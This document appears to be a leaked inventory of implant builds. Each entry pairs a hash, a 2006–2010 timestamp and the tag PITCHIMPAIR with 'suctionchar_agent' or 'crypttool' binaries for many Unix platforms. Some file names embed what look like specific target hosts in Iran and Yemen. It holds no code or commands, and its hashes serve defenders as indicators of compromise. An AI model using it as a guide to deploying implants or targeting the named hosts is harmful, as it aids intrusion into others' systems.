suctionchar_agent__v__2.0.5.9_sparc-sun-solaris2.10 +2264B01B1C62BDDC8EECB5ABA75AE80194635710 Fri Mar 9 17:47:47 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.6.2_x86-linux-fedora2 +2264B01B1C62BDDC8EECB5ABA75AE80194635710 Fri Mar 9 17:47:47 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.6.3_x86-linux-fedora3 +2264B01B1C62BDDC8EECB5ABA75AE80194635710 Fri Mar 9 17:47:47 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.6.4_x86-linux-debian-3.1 +C668A4F3ADD471D5B342E43333C6CEA2C99F4CFC Mon Mar 19 19:04:50 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.7.1_x86-linux-vinifera-mail-npost +E19DEFBB9A56891F7FD054C1BC76F8B95D36F12C Thu Mar 22 16:36:18 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.7.5_x86-linux-tilttop-gate.itec +3D1C7709A85EC147BE1AE6949D9B184325E51C2C Tue Apr 17 00:38:40 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.8.1_i386-pc-solaris2.8 +EFF1776C0933702C1E1B68A570B1989FDF96BCD3 Tue Apr 17 01:15:03 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.8.2_i386-pc-solaris2.9 +C4C1B48ADE5309E88A3AEF48CA656151D8A25A04 Wed Apr 18 14:27:02 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.8.3_x86-linux-redhat-7.3 +C4C1B48ADE5309E88A3AEF48CA656151D8A25A04 Wed Apr 18 14:27:02 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.8.4_x86-linux-tilttop +7CB5CDEE22664BCD1E9D75BDE4FF1A13242A3C08 Wed Jun 20 18:28:15 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.8.7_sparc-sun-solaris2.9 +466E7DBFB61D21F08F11E1BF7E83D4D113EBEC79 Thu Jun 21 19:50:30 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.8.8_sparc-sun-solaris2.8 +AD83A8AF5AF82CE1BE049CDD5079A9C93C803BAB Thu Jun 14 15:52:56 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.9.1_x86-linux-tilttop +B2F5D26E0DA06F63520D708DD3138F35C4478C48 Fri Jun 22 13:10:20 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.9.4_x86-linux-suse-10.0 +71FFEF1EEEC832B03A01CECC811E51786E199E4C Thu Jul 5 14:55:42 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.9.6_x86-linux-tilttop +DDA2096A6E3A154E79B03A8962E32D420B667926 Fri Jul 6 14:53:48 2007 [PITCHIMPAIR.99] suctionchar_agent__v__2.0.9.7_x86-linux-fedora3 +27A5FF5F72185927386E1A5F9BE87ECD39CC9D1A Wed Sep 23 20:03:30 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.10_sparc-sun-solaris2.9 +0B4B1086448DA4998BC5E2D92C519CEF0D2ABD3A Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.11_x86-linux-centos-4.7 +0B4B1086448DA4998BC5E2D92C519CEF0D2ABD3A Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.12_x86-linux-asianux-1.0 +0B4B1086448DA4998BC5E2D92C519CEF0D2ABD3A Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.13_x86-linux-slackware-10.1 +27A5FF5F72185927386E1A5F9BE87ECD39CC9D1A Wed Sep 23 20:03:30 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.14_sparc-sun-solaris2.9 +0B4B1086448DA4998BC5E2D92C519CEF0D2ABD3A Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.15_x86-linux-ubuntu-8.04 +AEF603BAF9FAB7181D14A3D7017AF9047EAC8B20 Wed Sep 23 19:57:13 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.2_sparc-sun-solaris2.8 +27A5FF5F72185927386E1A5F9BE87ECD39CC9D1A Wed Sep 23 20:03:30 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.3_sparc-sun-solaris2.9 +7E68B1CCD72F739C6E8F8243F4F3E98E4B0F8F6F Wed Sep 23 20:07:19 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.4_sparc-sun-solaris2.10 +0B4B1086448DA4998BC5E2D92C519CEF0D2ABD3A Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.5_x86-linux-suse-enterprise-9 +0B4B1086448DA4998BC5E2D92C519CEF0D2ABD3A Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.7_x86-linux-centos-5.3 +0B4B1086448DA4998BC5E2D92C519CEF0D2ABD3A Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.8_x86-linux-debian-4.0 +0B4B1086448DA4998BC5E2D92C519CEF0D2ABD3A Fri Oct 9 22:33:09 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.1.9_x86-linux-centos-5.2 +6870ECDE594C339F6E397BEEC6C54DE308926148 Tue Oct 13 17:02:57 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.2.4_x86-linux-fedora9 +1F61125DE905D95816F97424E4E9D7D7AE335C4E Wed Oct 14 19:22:13 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.3.1_x86-linux-debian-5.0 +1F61125DE905D95816F97424E4E9D7D7AE335C4E Wed Oct 14 19:22:13 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.3.3_x86-linux-fedora8 +F83DFF15604FDBB7C6951290229261A87F2C05A7 Mon Oct 19 20:16:47 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.4.3_x86-linux-redhat-7.3 +F83DFF15604FDBB7C6951290229261A87F2C05A7 Mon Oct 19 20:16:47 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.4.5_x86-linux-suse-enterprise-9 +1C05DF0B2946F9BF2CFC4F3C8D168048861D7194 Thu Nov 5 17:30:13 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.7.1_x86_64-linux-redhat-enterprise-4.0 +1C05DF0B2946F9BF2CFC4F3C8D168048861D7194 Thu Nov 5 17:30:13 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.7.4_x86_64-linux-redhat-enterprise-5.0 +E2D2B779F114BF094E3616C839515E8953CD2B82 Mon Nov 9 23:58:28 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.0.8.1_x86-linux-fedora10 +7F50AB06BB2B90BDD79BF0BF6C4697038DDA6696 Wed Dec 30 23:01:00 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.11_x86_64-linux-redhat-enterprise-5.0 +176C74D94972709407532E1DA2091615D0FC5F04 Wed Dec 30 23:35:45 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.12_x86-linux-fedora10 +26D9CB431E4BB76649AFD7F46733458A981DF4E7 Wed Dec 30 23:41:10 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.13_x86-linux-fedora9 +15394DF5C8C5E2BAC5A022434559E8697691EFD5 Wed Dec 30 23:46:41 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.14_x86-linux-fedora8 +F1BBA38713EBECC402C005FBE6AA1B1A38D7819F Wed Dec 30 23:57:16 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.16_x86-linux-debian-4.0 +6E10CF5EDBBB0C01E599F68EA0BECA3351DD8DFC Thu Dec 31 00:02:37 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.17_x86-linux-debian-5.0 +D646946039D7C60C55F3926A8435C03982BA12AF Thu Dec 31 00:20:02 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.19_x86-linux-suse-enterprise-9 +DBB45A7E65881E9BF9AD89A65CC55C83863BC2E1 Fri Jan 8 22:16:55 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.20_x86-linux-asianux-1.0 +2C84A4F8D6D20718EF2B50E2231A615DAEBFE668 Fri Jan 8 22:27:23 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.22_x86-linux-slackware-10.1 +788F96B9224BA7BC9CE2DAAFD49BFF88553A35D3 Fri Jan 8 22:38:48 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.23_x86-linux-slackware-11.0 +45B2C0C10ABA38DB01BA4D3A86C126484C9627C6 Fri Jan 8 21:30:21 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.25_x86-linux-suse-10.1 +7ED226019CDA1BCB76A17688EED2995B64AA8CCE Mon Jan 11 20:41:02 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.26_x86_64-linux-centos-5.1 +5093DFDA4FF1CDE96B9316B58D284DC03EA411C0 Fri Jan 8 21:37:57 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.27_x86-linux-suse-10.2 +7ED226019CDA1BCB76A17688EED2995B64AA8CCE Mon Jan 11 20:41:02 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.28_x86_64-linux-redhat-enterprise-5.0 +893B8013C3AF42B5C96FDF9C9F3FD109C563453F Wed Dec 30 22:43:24 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.29_x86_64-linux-centos-5.2 +6BFF1F160F7C58F76801B3AE1FB03F0FAE4919F3 Wed Dec 30 22:12:48 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.2_sparc-sun-solaris2.8 +330CEB2BCBE1FB545472498F95A6E4F4CB3B51FC Wed Jan 20 23:08:55 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.30_x86-linux-suse-9.3 +C194B50729744351CC5F05F2D1794C3FA66710FA Wed Dec 30 22:18:10 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.3_sparc-sun-solaris2.9 +951C3339880F531DCF7AE786AECFD6710AD6328D Wed Dec 30 22:27:08 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.5_x86-linux-centos-4.7 +AB7CFFF2680C9257F9AD786A161BF950FE3D7103 Wed Dec 30 22:32:50 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.6_x86-linux-centos-5.2 +25F41B08D3D53B8AC59F8F4CB549AE1F7A353E63 Wed Dec 30 22:37:25 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.7_x86-linux-centos-5.3 +893B8013C3AF42B5C96FDF9C9F3FD109C563453F Wed Dec 30 22:43:24 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.8_x86_64-linux-centos-5.2 +E73017CE61AE3FD2AE9EDCF3532483B2FE8E4290 Wed Dec 30 22:48:05 2009 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.0.9_suctionchar_x86_64_linux_centos_5.3 +F9071CFF34115C8EC7D55DF1C2055F95BF9DBABD Thu Feb 25 16:45:20 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.10_x86-freebsd-5.4 +13C827218AF240F37361B5F512BBB3BF39C80FFC Thu Feb 25 21:37:31 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.12_x86-freebsd-6.1 +1BBB39F7A5A426F7000D58FF0FCB55AF8409E9C5 Mon Mar 1 20:04:32 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.13_x86-freebsd-6.2 +DEF76E69DC0830DD174E8CC0BAF81C54123A0B10 Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.15_x86-linux-centos-5.4 +D95B118A9645BB0C700BD8BA00E05A93989A4BAF Thu Mar 4 14:15:20 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.16_x86-freebsd-6.0 +DEF76E69DC0830DD174E8CC0BAF81C54123A0B10 Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.17_x86-linux-straitshooter-ibs-bk +DEF76E69DC0830DD174E8CC0BAF81C54123A0B10 Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.18_x86-linux-centos-4.8 +DEF76E69DC0830DD174E8CC0BAF81C54123A0B10 Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.19_x86-linux-darkthunder-nsp.yemen.net.ye +4C0B09D03BF00AB9057DD2A0EBFF2834C709ABAC Fri Jan 22 19:55:51 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.1_x86-freebsd-5.3 +41B1B498F197E913C021FE5343AC59B0C0E6170E Fri Jan 22 22:56:11 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.2_x86-freebsd-7.1 +50D748F4D23A4DFD3F65FC3AEF94C67515BF13B8 Fri Jan 22 23:17:57 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.3_x86-freebsd-7.2 +40BEDA267560F7DF5E365CE3EBC5DDAE8006A2FD Wed Jan 27 20:59:35 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.5_x86-freebsd-7.0 +DEF76E69DC0830DD174E8CC0BAF81C54123A0B10 Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.6_x86-linux-centos-4.8 +DEF76E69DC0830DD174E8CC0BAF81C54123A0B10 Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.7_x86-linux-slackware-10.2 +DEF76E69DC0830DD174E8CC0BAF81C54123A0B10 Fri Mar 5 14:24:52 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.8_x86-linux-steelsnob-babar +F9275D8A805153217D264B0730A85363DF8FC041 Tue Feb 23 16:44:03 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.1.9_x86_64-linux-redhat-enterprise-5.0 +D11028DA0B0F05504D8DFDB6DC57D41622210745 Wed Mar 3 21:02:21 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.2.1_i386-pc-solaris2.10 +598C655FE47C315A12DBDA832ECCD9A8EFF8AF5E Tue Mar 9 19:35:17 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.2.2_x86_64-linux-debian-5.0 +598C655FE47C315A12DBDA832ECCD9A8EFF8AF5E Tue Mar 9 19:35:17 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.2.3_x86_64-linux-centos-5.0 +598C655FE47C315A12DBDA832ECCD9A8EFF8AF5E Tue Mar 9 19:35:17 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.2.4_x86_64-linux-scientific-5.1 +5E8F6DE997FCCCA96312B6CD7008B236A8157244 Sat Mar 13 00:08:21 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.3.1_x86-freebsd-5.5 +3C380B6738493D04812A682F27DF8592BC30E79A Tue Mar 16 21:14:34 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.3.3_x86_64-linux-suse-10.2 +2FEB329CC5B5FDDB208562093E28B92E21F40EA2 Wed Mar 17 18:27:30 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.3.4_x86-linux-redhat-enterprise-5.4 +544E65074CAEC9D9A10F17678FE0FAF6774CA179 Thu Apr 29 14:38:41 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.10_x86_64-linux-vinifera-ie104 +544E65074CAEC9D9A10F17678FE0FAF6774CA179 Thu Apr 29 14:38:41 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.11_x86_64-linux-centos-5.4 +DE0A1650994EDE8CCC94C5D3DF84E169A6466C16 Thu May 20 12:33:23 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.12_x86-linux-redhat-enterprise-5.2 +DE0A1650994EDE8CCC94C5D3DF84E169A6466C16 Thu May 20 12:33:23 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.13_x86-linux-centos-4.8 +DE0A1650994EDE8CCC94C5D3DF84E169A6466C16 Thu May 20 12:33:23 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.14_x86-linux-ubuntu-8.04 +DE0A1650994EDE8CCC94C5D3DF84E169A6466C16 Thu May 20 12:33:23 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.15_x86-linux-centos-3.6 +4EB64D6564B2AC728F7D1496248BA88A6E90D297 Thu Jun 3 21:07:02 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.16_x86-linux-redhat-enterprise-4.0 +4EB64D6564B2AC728F7D1496248BA88A6E90D297 Thu Jun 3 21:07:02 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.17_x86-linux-centos-3.6 +ACB5FE79CB62E71EBFA5980C22E89C072E5360A4 Fri Mar 19 18:41:48 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.1_x86-freebsd-7.1 +D9FCC6231DB754132439C20423E83551E261B882 Tue Apr 27 00:20:05 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.4_x86_64-linux-redhat-enterprise-5.4 +4A31BB5544C481CC3E75E18DD3E5C65EFB2C930B Wed Mar 31 21:57:26 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.5_x86-linux-centos-5.4 +4A31BB5544C481CC3E75E18DD3E5C65EFB2C930B Wed Mar 31 21:57:26 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.6_x86-linux-redhat-8.0 +D9FCC6231DB754132439C20423E83551E261B882 Tue Apr 27 00:20:05 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.7_x86_64-linux-debian-5.0 +4A31BB5544C481CC3E75E18DD3E5C65EFB2C930B Wed Mar 31 21:57:26 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.8_x86-linux-debian-5.0 +D9FCC6231DB754132439C20423E83551E261B882 Tue Apr 27 00:20:05 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.4.9_x86_64-linux-vinifera-ie103 +53B0746B472685EBB6B0D889207B982B622DCA26 Fri May 28 18:27:22 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.5.1_sparc-sun-solaris2.7 +0AABA7A68A4BA6AB98697973B905A9734041C2D0 Wed Jun 16 16:47:02 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.6.2_x86_64-linux-suse-enterprise-10.2 +E653D8A7F2D423A349FB25464E5B003DC5171F30 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.6.3_x86-linux-wickedviper +E653D8A7F2D423A349FB25464E5B003DC5171F30 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.6.4_x86-linux-redhat-enterprise-5.2 +621E9D1B37016608E08ED3EFDCE4E191D30434AA Fri Jun 25 15:16:36 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.6.5_x86-linux-redhat-enterprise-5.3 +CDBF211C81678551C335107DD56DED0946580F59 Fri Jun 25 18:05:32 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.6.6_x86-linux-centos-5.2 +E653D8A7F2D423A349FB25464E5B003DC5171F30 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.6.7_x86-linux-redhat-enterprise-5.5 +E653D8A7F2D423A349FB25464E5B003DC5171F30 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.6.8_x86-linux-redhat-enterprise-3.0 +374A0E936F4B5F5276E4947C70A8CF6D1510A30E Fri Jul 2 23:45:05 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.6.9_x86_64-linux-centos-5.5 +DF22FB81124B6F540403C7A31851A0D2593553D5 Wed Jul 14 14:29:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.10_x86-linux-slackware-10.1 +DF22FB81124B6F540403C7A31851A0D2593553D5 Wed Jul 14 14:29:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.11_x86-linux-slackware-10.2 +DF22FB81124B6F540403C7A31851A0D2593553D5 Wed Jul 14 14:29:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.12_x86-linux-slackware-11.0 +DF22FB81124B6F540403C7A31851A0D2593553D5 Wed Jul 14 14:29:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.13_x86-linux-slackware-12.0 +E0C42886D3C7E80468D4EAA9DD2122000A3CBD5B Tue Jul 20 20:41:27 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.14_x86_64-linux-centos-5.3 +2694771D50C29CEA9D731E532FEA070C86CB445F Wed Jul 21 19:40:00 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.15_x86-linux-redhat-enterprise-5.0 +2C2F6B6589B9FA5A88B9A039C3D37C6B9B769481 Thu Jul 22 16:36:28 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.16_sparc-sun-solaris2.10 +BC5AEF6EC604D3DC04813DB6354FE9E199B9A564 Mon Jul 26 11:13:20 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.17_i386-pc-solaris2.10 +6C5B74CD31E054E917FFC28EA6577DEF7E67D72A Tue Jul 27 13:11:22 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.18_sparc-sun-solaris2.9 +5E2FB9C153BBB7BEB77A2A43159A2FFCDEF68019 Sat Jul 3 02:59:47 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.19_suctionchar_x86_linux_optimusprime_vezarat.dolat.ir +5E2FB9C153BBB7BEB77A2A43159A2FFCDEF68019 Sat Jul 3 02:59:47 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.1_x86-linux-ubuntu-8.04 +5E2FB9C153BBB7BEB77A2A43159A2FFCDEF68019 Sat Jul 3 02:59:47 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.21_x86-linux-slackware-12.0 +9BAF92B2AFC32FC6667B58E480460CBE1A5F590F Tue Aug 24 19:51:12 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.22_x86-linux-centos-5.3 +C3D7D269B5C5CADDBD1AE1071097DBB43A93F4B4 Wed Aug 25 20:42:26 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.24_sparc-sun-solaris2.8 +5E2FB9C153BBB7BEB77A2A43159A2FFCDEF68019 Sat Jul 3 02:59:47 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.26_x86-linux-alt-1.0 +9762922CCB8D8A2A14EEDBF0D0A488FC9AF37BFF Thu Sep 2 21:50:16 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.27_x86_64-linux-centos-5.5 +95F4F57496E1B3C6982B248F2DB3708E4732CEBB Tue Sep 14 22:29:44 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.29_x86-linux-centos-5.4 +DF22FB81124B6F540403C7A31851A0D2593553D5 Wed Jul 14 14:29:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.2_x86-linux-centos-5.5 +95F4F57496E1B3C6982B248F2DB3708E4732CEBB Tue Sep 14 22:29:44 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.30_x86-linux-centos-5.5 +9A4BC24C318BC12EF313FC2F5D4416863218B7CC Fri Sep 17 17:08:28 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.32_x86_64-linux-redhat-enterprise-5.5 +C3D7D269B5C5CADDBD1AE1071097DBB43A93F4B4 Wed Aug 25 20:42:26 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.33_sparc-sun-solaris2.8 +BE944CC97C2EC1D534D968827C02276E600FEA69 Mon Sep 27 13:47:04 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.36_x86-linux-acridmini-sg +9FD2C3A9F77F39CE8D999D4C3EECE9677936AB20 Tue Sep 28 20:39:02 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.38_x86-linux-redhat-enterprise-4.0 +9FD2C3A9F77F39CE8D999D4C3EECE9677936AB20 Tue Sep 28 20:39:02 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.42_x86-linux-suse-11.0 +54D7EFB46CD639A5DF64D35A08CCAF3F3D9009AE Tue Oct 5 20:19:05 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.43_x86_64-linux-suse-enterprise-10.2 +DF22FB81124B6F540403C7A31851A0D2593553D5 Wed Jul 14 14:29:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.6_x86-linux-centos-5.4 +5E2FB9C153BBB7BEB77A2A43159A2FFCDEF68019 Sat Jul 3 02:59:47 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.7_x86-linux-slackware-13.0 +DF22FB81124B6F540403C7A31851A0D2593553D5 Wed Jul 14 14:29:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.8_x86-linux-slackware-9.1 +DF22FB81124B6F540403C7A31851A0D2593553D5 Wed Jul 14 14:29:45 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.7.9_x86-linux-slackware-10.0 +E16A6612861CAD645328CDE59BC4481F55341AA8 Wed Oct 6 23:26:28 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.8.1_x86-linux-fedora13 +E7F5B04E512F64C3792EA36391CFA32778633DA3 Fri Oct 8 16:40:08 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.8.2_x86_64-linux-centos-5.5 +AA768D2DBA5C59A3B8456129CC399C118A9BF290 Wed Oct 13 20:38:59 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.8.4_x86-linux-debian-4.0 +BDBCBA15C98A387DC7B94D8E7B1DB8F317EECCC9 Wed Oct 20 20:55:53 2010 [PITCHIMPAIR.99] suctionchar_agent__v__3.1.8.6_x86-linux-redhat-enterprise-4.0 +11CCFDDE709F1F45DE027FCA858A4F28B54D640A Wed Aug 13 18:04:09 2008 [PITCHIMPAIR.99] crypttool.aix.v5.1_v.1.5.0.8 +F82321F6D0849FA84047F429A8274D699CC37A21 Wed Aug 13 18:04:22 2008 [PITCHIMPAIR.99] crypttool.hp-uxb.11.00_v.1.5.0.8 +8873CF8EEA5CFD9845BB3B35531713EEF0E232B8 Wed Aug 13 18:04:35 2008 [PITCHIMPAIR.99] crypttool.hp-uxb.11.11_v.1.5.0.8 +B0197931DAE68D02C7DDF774BA8F18805C5B6B79 Wed Aug 13 18:04:46 2008 [PITCHIMPAIR.99] crypttool.linux2.4.21-37.elsmp_v.1.5.0.8 +2A387793E0E1B679F7020A0A5E40F67F539082CC Mon Mar 12 21:16:10 2007 [PITCHIMPAIR.99] crypttool.sunos5.10_v.1.1 +3AD6789F60834F11889B8A214CEFF1E4B50F3544 Wed Aug 13 18:04:58 2008 [PITCHIMPAIR.99] crypttool.sunos5.10_v.1.5.0.8 +57A15F50BD829CA5E388A15E69D79E0C8BD261FA Wed Aug 13 18:05:10 2008 [PITCHIMPAIR.99] crypttool.sunos5.8_v.1.5.0.8 +232660DB1728771E4DB5DC0FD52F76248EB62C32 Wed Aug 13 18:05:21 2008 [PITCHIMPAIR.99] crypttool.sunos5.9_v.1.5.0.8 +C750588C28BA8DED9A55A2B81CF7376E43B29EDF Tue Nov 21 13:22:36 2006 [PITCHIMPAIR.99] crypttool.v1.1.hp-uxb.11.00_v.2.0 +CCC5D9B74A2060F4B6FD382EDF0FC9880E7B5DE6 Tue Nov 21 13:23:49 2006 [PITCHIMPAIR.99] crypttool.v1.1.hp-uxb.11.11_v.2.0 +5C0FA0613C5219D82BD78D4C5A2DDA06B773C1B1 Mon Jun 11 19:46:34 2007 [PITCHIMPAIR.99] crypttool.v1.1.sunos5.8_v.1.0.0.0 +5C0FA0613C5219D82BD78D4C5A2DDA06B773C1B1 Mon Jun 11 19:46:34 2007 [PITCHIMPAIR.99] crypttool.v1.1.sunos5.8_v.1.1.0.4 +5C0FA0613C5219D82BD78D4C5A2DDA06B773C1B1 Mon Jun 11 19:46:34 2007 [PITCHIMPAIR.99] crypttool.v1.1.sunos5.8_v.2.0 +5C0FA0613C5219D82BD78D4C5A2DDA06B773C1B1 Mon Jun 11 19:46:34 2007 [PITCHIMPAIR.99] crypttool.v1.1.sunos5.8_v.2.2 +5C0FA0613C5219D82BD78D4C5A2DDA06B773C1B1 Mon Jun 11 19:46:34 2007 [PITCHIMPAIR.99] crypttool.v1.1.sunos5.8_v.2.3 +B3EB0E5AFB85B95229A69186B5892CC8E5E12E63 Tue Aug 15 16:56:21 2006 [PITCHIMPAIR.99] crypttool.v1.1.sunos5.9_v.1.2 +EEE2DBA43E3376BA86750C39ABA280D537376274 Tue Nov 21 13:24:41 2006 [PITCHIMPAIR.99] crypttool.v1.1.sunos5.9_v.2.0 +B9F9EFDE314236E0049F8EF22C2604D0F09A1E2E Thu Jul 26 17:23:59 2007 [PITCHIMPAIR.99] crypttool.v1.3.aix5.1_v.1.5.0.8 +B9F9EFDE314236E0049F8EF22C2604D0F09A1E2E Thu Jul 26 17:23:59 2007 [PITCHIMPAIR.99] crypttool.v1.3.aix5.1_v.2.4.0.2 +06305E4020BAF32E937B0070A8B63A95C83D6DBC Thu Jun 28 18:46:32 2007 [PITCHIMPAIR.99] 